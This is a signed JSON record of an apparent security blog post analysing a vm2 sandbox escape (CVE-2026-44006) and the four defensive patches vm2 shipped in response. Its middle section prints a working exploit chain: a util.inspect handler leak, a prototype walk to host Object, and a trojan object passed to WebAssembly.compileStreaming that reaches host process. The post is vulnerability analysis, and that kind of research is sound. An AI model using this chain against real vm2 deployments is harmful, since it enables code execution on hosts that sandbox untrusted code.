-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The leak does not live in vm2\n\n`util.inspect` is Node's diagnostic formatter. Given `showProxy: true`, it walks Proxy targets and renders their internal state, which is useful in development and would, in principle, be invisible to user code. The walk uses an internal context object with a `seen` array tracking what has already been printed, and a user-supplied `stylize` callback that receives every value the walk visits. On Node up to and including 22, a sandbox path through `Buffer.prototype.slice` reaches `util.inspect` with the right shape to put a real vm2 `BaseHandler` instance at `seen[1]` and deliver it, via the stylize callback's `this`, to sandbox code.\n\nThe probe is in vm2's regression suite, `test/ghsa/GHSA-qcp4-v2jj-fjx8/repro.js`:\n\n```javascript\nlet leakedHandler = null;\nconst obj = {\n subarray: Buffer.prototype.inspect,\n slice: Buffer.prototype.slice,\n hexSlice: () => '',\n};\nobj.slice(10, {\n showHidden: true,\n showProxy: true,\n depth: 10,\n stylize(a) {\n const handler = this.seen && this.seen[1];\n if (handler && handler.getPrototypeOf) leakedHandler = handler;\n return a;\n },\n});\n```\n\n`leakedHandler` is now a real, registered `BaseHandler`. The handler is in `handlerToObject`, paired with its proxy target in the bridge's internal maps, ordinary in every respect except its location: the sandbox holds the reference.\n\nNode 23 tightened `Buffer.prototype.slice`'s argument validation and the `seen[1]` exposure no longer fires through this path. The test gates on whether the leak actually fires at runtime so the regression doesn't trivially pass on a newer Node:\n\n```javascript\nif (!leakFires) {\n this.skip();\n return;\n}\n```\n\nThe leak is a Node bug. The defense lives in vm2.\n\n## What a leaked handler can still do\n\nThree days earlier, on April 24, vm2 had shipped a coordinated patch for GHSA-v37h-5mfm-c47c covering the same leak vector. That patch closed three doors:\n\n1. **Construction token.** `createBridge()` captures an unforgeable closure-scoped `Symbol('vm2 bridge handler construction')`. Every `BaseHandler` / `ProtectedHandler` / `ReadOnlyHandler` / `ReadOnlyMockHandler` constructor requires this token as its first argument; any `new pp.constructor(...)` from sandbox code fails the token check and throws `VMError(OPNA)`.\n2. **Constructor sentinel rebind.** Every handler prototype's `.constructor` property is replaced with a function that throws unconditionally. Prototype-chain walks from a leaked handler never reach a callable form of the real class.\n3. **`getHandlerObject` WeakMap guard.** Trap methods invoked on a sandbox-forged receiver (e.g., `pp.set.call(forgedThis, ...)`) check `handlerToObject.has(this)` and throw `VMError(OPNA)` if absent.\n\nAfter April 24, the obvious primitives a leaked handler exposed were all gone. The constructor was unreachable. The class was unreachable through the prototype chain. Calls with forged `this` were rejected.\n\nBut the handler the sandbox holds is a real, registered handler. It is in the WeakMap. Its trap methods accept it as `this`. The trap method signatures are still callable:\n\n```javascript\nget(target, key, receiver) { ... }\nset(target, key, value, receiver) { ... }\ngetPrototypeOf(target) { ... }\napply(target, context, args) { ... }\n```\n\nThe first argument of every Proxy trap is `target`. The Proxy machinery, on a legitimate trap call, supplies the proxy's internal target. The handler then operates on that target. The PoC's move is to invoke the trap method directly, not through Proxy machinery, and pass any object the sandbox wants the handler to operate on:\n\n```javascript\nconst gP = leakedHandler.getPrototypeOf;\nconst HObjectProto = gP(gP(gP(gP(Buffer))));\n```\n\n`gP` is a reference to `BaseHandler.prototype.getPrototypeOf`, bound to the leaked handler. The body of that trap, before April 27, was:\n\n```javascript\ngetPrototypeOf(target) {\n // Note: target@this(unsafe)\n return thisReflectGetPrototypeOf(target);\n}\n```\n\nIt calls host `Reflect.getPrototypeOf` on whatever was passed as `target`. The `getHandlerObject(this)` guard from April 24 catches a forged `this`; this method does not call `getHandlerObject(this)`. There is nothing for the April 24 patches to grab. The trap operates.\n\n`gP(Buffer)` returns the host-realm prototype of `Buffer`, which is `Uint8Array.prototype` host-side. `gP(gP(Buffer))` returns the host `TypedArray` abstract prototype. `gP(gP(gP(Buffer)))` returns host `Object.prototype`. After four iterations, `HObjectProto` is bound to a host-realm intrinsic prototype, sandbox-readable.\n\nFrom there:\n\n```javascript\nconst HObject = HObjectProto.constructor;\nconst sym = HObject.getOwnPropertySymbols(Buffer.prototype)[0];\n```\n\n`HObject` is host `Object`. Calling its `getOwnPropertySymbols` on host `Buffer.prototype` returns the array of symbol-keyed own properties; the first entry is `Symbol.for('nodejs.util.inspect.custom')`, the registered Node symbol that lets a type customise how `util.inspect` renders it. `Buffer.prototype` carries it because `console.log(buf)` is expected to print ``, not an index-keyed object dump.\n\nThe sandbox now holds the exact symbol value the host inspect protocol looks up at the call site. The rest of the chain is the same exit sink [CVE-2026-43997](/posts/vm2-cve-2026-43997-inspect-still-calls-the-sandbox) reaches through a different door:\n\n```javascript\nconst trojan = {\n [sym]: (depth, opt, inspect) => {\n inspect.constructor('return process')().__pwn && __pwn();\n },\n valueOf: undefined,\n constructor: undefined,\n};\nWebAssembly.compileStreaming(trojan).catch(() => {});\n```\n\n`WebAssembly.compileStreaming` expects a `Response`, gets a plain object, and runs `util.inspect` on the argument synchronously to format the rejection message. Host inspect finds the custom symbol on the trojan, calls the sandbox-defined function with a host-realm `inspect` reference as the third argument, and the sandbox calls `inspect.constructor('return process')()` to reach host `Function` and execute. CVE-2026-43997 closed the `.constructor` read on the host `inspect` reference; this PoC works in a vm2 release that has that fix but not the April 27 patch, because the entry point to the symbol extraction is the leaked handler's prototype walk, not the inspect callback's `inspect` argument. Two doors to the same room. Each gets its own deny.\n\n## The fourth defense\n\nThe April 27 commit, `6e3b98f`, lives entirely in `lib/bridge.js`. Seventy-eight lines added, sixteen removed, one author. The structure is one new WeakMap, one new helper, and one new call at the entry of every trap method on every handler class.\n\n```javascript\n// SECURITY (GHSA-qcp4-v2jj-fjx8): canonical proxy target keyed by handler.\nconst handlerToTarget = new ThisWeakMap();\n\nfunction validateHandlerTarget(handler, target) {\n if (!thisReflectApply(thisWeakMapHas, handlerToTarget, [handler])) {\n throw new VMError(OPNA);\n }\n if (thisReflectApply(thisWeakMapGet, handlerToTarget, [handler]) !== target) {\n throw new VMError(OPNA);\n }\n}\n```\n\nThe WeakMap is keyed by handler and stores the canonical proxy target paired with it. Registration happens in `thisProxyOther`, the single function through which every handler instance is created:\n\n```javascript\nfunction thisProxyOther(factory, other, proto, preventUnwrap) {\n const target = thisCreateTargetObject(other, proto);\n const handler = factory(other);\n thisReflectApply(thisWeakMapSet, handlerToTarget, [handler, target]);\n const proxy = new ThisProxy(target, handler);\n ...\n}\n```\n\n`validateHandlerTarget` rejects two failure modes. A handler not in the WeakMap means the receiver was forged (the case the April 24 `getHandlerObject` guard already covered, now redundantly caught). A handler that is in the WeakMap but whose stored target does not strict-equal the supplied `target` means the trap was invoked with an attacker-chosen first argument. Both throw `VMError(OPNA)`, the same error used elsewhere for boundary violations, so the attacker learns nothing about which branch fired.\n\nThe call appears at the entry of every trap method on every handler class. `BaseHandler` has sixteen trap methods; `ProtectedHandler` overrides two; `ReadOnlyHandler` overrides six; `ReadOnlyMockHandler` overrides one. Twenty-five call sites. Each one looks like this:\n\n```diff\n getPrototypeOf(target) {\n // Note: target@this(unsafe)\n+ validateHandlerTarget(this, target); // SECURITY (GHSA-qcp4-v2jj-fjx8)\n return thisReflectGetPrototypeOf(target);\n }\n```\n\nThe Proxy machinery's legitimate invocation always supplies the canonical target paired with the handler at construction. Legitimate dispatch is unaffected. The forged-target attacker invocation supplies the object the sandbox wants the handler to operate on; strict equality rejects.\n\nIn `ProtectedHandler.set` and `ReadOnlyHandler.set`, `validateHandlerTarget` replaces the April 24 `getHandlerObject(this)` call: the new check subsumes the old. The diff's own comment is plain:\n\n```\n// SECURITY (GHSA-v37h-5mfm-c47c, GHSA-qcp4-v2jj-fjx8):\n// validateHandlerTarget subsumes the earlier getHandlerObject(this)\n// guard and additionally rejects attacker-supplied targets.\n```\n\nThe April 24 guard was for forged `this`. The April 27 guard is for forged `this` AND forged `target`. The newer check does both. The older check was a partial.\n\n## The Bridge's Defense Inventory\n\nvm2's `docs/ATTACKS.md`, after the April 27 commit, formally enumerates four layers around the leaked-handler primitive. The four are listed in numbered order:\n\n1. **Construction token** (GHSA-v37h-5mfm-c47c, April 24): closure-scoped `Symbol` required as the first constructor argument. Blocks reconstruction.\n2. **`getHandlerObject` WeakMap guard** (GHSA-v37h-5mfm-c47c, April 24): `WeakMap.has(this)` rejects forged receivers.\n3. **Constructor-property sentinel rebind** (GHSA-v37h-5mfm-c47c, April 24): every handler prototype's `.constructor` throws. Prototype-chain walks never reach a callable class.\n4. **`validateHandlerTarget`** (GHSA-qcp4-v2jj-fjx8, April 27): closure-scoped `handlerToTarget` WeakMap; strict-equality check at every trap entry. Rejects forged `this` and forged `target`.\n\nThe line after the enumeration is the maintainer's own:\n\n> These defenses are independent: even if one fails (e.g., future WeakMap tampering compromises the `has` check), the others still block the escape.\n\nThat sentence is the admission. The bridge does not trust any one of its four defenses to hold. It assumes that one will fail and pre-positions three more behind it. The patch's commit message names what each defense closes; the document's own prose names that each defense must be replaceable.\n\n[The Detector Is The Target](/patterns/the-detector-is-the-target) is the pattern that fits this shape directly. vm2's bridge is the security boundary; the bridge's handlers are the bridge's enforcement layer. When the enforcement layer is reachable from the side it enforces against, the boundary is not absent, it is structurally compromised. The fix does not move the boundary. The fix stacks four independent layers on top of one another, on the assumption that the next leak vector is coming.\n\n## Why the dates matter\n\nThis blog has covered vm2's [Unpatchable Primitive](/patterns/unpatchable-primitive) family at the V8-internal layer ([CVE-2026-24118](/posts/vm2-cve-2026-24118-resetpromisespecies-has-a-sibling), [CVE-2026-26956](/posts/vm2-jstag-trytable-is-bytecode), [CVE-2026-26332](/posts/vm2-suppressederror-carries-what-v8-threw), [CVE-2026-45411](/posts/vm2-cve-2026-45411-async-generator-bisects-host-rangeerror)), the configuration layer ([CVE-2026-44007](/posts/vm2-cve-2026-44007-readme-is-the-patch-for-the-rest)), the write-trap layer ([CVE-2026-44005](/posts/vm2-cve-2026-44005-bridge-forwarded-the-write)), the builtin-allowlist layer ([CVE-2026-43999](/posts/vm2-cve-2026-43999-module-was-every-other-module)), and the inspect-callback layer ([CVE-2026-43997](/posts/vm2-cve-2026-43997-inspect-still-calls-the-sandbox)). CVE-2026-44006 is the handler-reachability layer.\n\nEach prior entry is the same shape: identify a path by which sandbox code reaches host state through a seam the bridge does not interpose on, install a deny at the closest JS-visible point, accept that the defense is per-instance and reactive. The 44006 entry is structurally different in one respect: the patch is not against an external protocol or a V8 internal. The patch is against the bridge's own handler being callable with sandbox-supplied arguments.\n\nThe April 24 commit closed three doors on that primitive. The April 27 commit closed the fourth. The argument the April 24 check did not validate was the next argument in the trap signature. Three days separated the patches. Both bear the same author's name. The April 27 commit message names what the April 24 patch missed by quoting the trap signature: \"Trap methods on the handler accept `target` as their first argument; the Proxy machinery legitimately supplies the proxy's internal target, but a leaked handler can be invoked directly with any value as `target`.\"\n\nvm2's `lib/bridge.js` is this catalog's archetypal [Design Debt Driver](/patterns/design-debt-driver): a single file accruing GHSA-named commits at a cadence faster than weekly through April 2026, not because the file is neglected but because its job has no fixed perimeter. The job is a membrane between two JS realms running inside one V8 isolate, and every Node release moves the perimeter under it. The leak vector is Node's. Node 23 closed it. vm2 closed it anyway, four times, in three days, because the next leak vector is one Node version or one ECMAScript edition away, and the bridge cannot afford to wait for it.\n\nAdvisory: [GHSA-qcp4-v2jj-fjx8](https://github.com/patriksimek/vm2/security/advisories/GHSA-qcp4-v2jj-fjx8). Fix commit: [`6e3b98f`](https://github.com/patriksimek/vm2/commit/6e3b98fe55f1bdb61a97a8a8e3df709c71c82264). Regression suite: `test/ghsa/GHSA-qcp4-v2jj-fjx8/`.","closing_line":"Node 23 closed the leak vector. vm2 closed it four times anyway. Each fix is for the next leak.","hook_md":"April 24, 2026, vm2 added three independent defenses against a leaked `BaseHandler` instance. April 27, vm2 added the fourth. Same author, same file, same commit-message preamble: `util.inspect({showProxy:true}) leaks a real BaseHandler instance to sandbox code`. The leak vector all four defenses defend against does not live in vm2. Node 23 fixed it. vm2 fixed it anyway, four times, in three days.","post_id":347,"slug":"vm2-cve-2026-44006-four-defenses-for-a-leak-in-node","title":"CVE-2026-44006: vm2 Has Four Independent Defenses For a Leak That Lives in Node","type":"initial","unreadable_sentence":"vm2's defense model now formally enumerates the failure modes of its own defenses, and the patch's commit message is the enumeration."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCavtFYQAKCRDeZjl4jgkQ JjL/AQCQUKyMBoNktOSa3u/fhi2t2Qwu+Q+HCFDTOp/PMo9V1gD9GQc48CljhQEh zhuXJCb1VQE7tiQ98h6/02yJpytxEA4= =E6AK -----END PGP SIGNATURE-----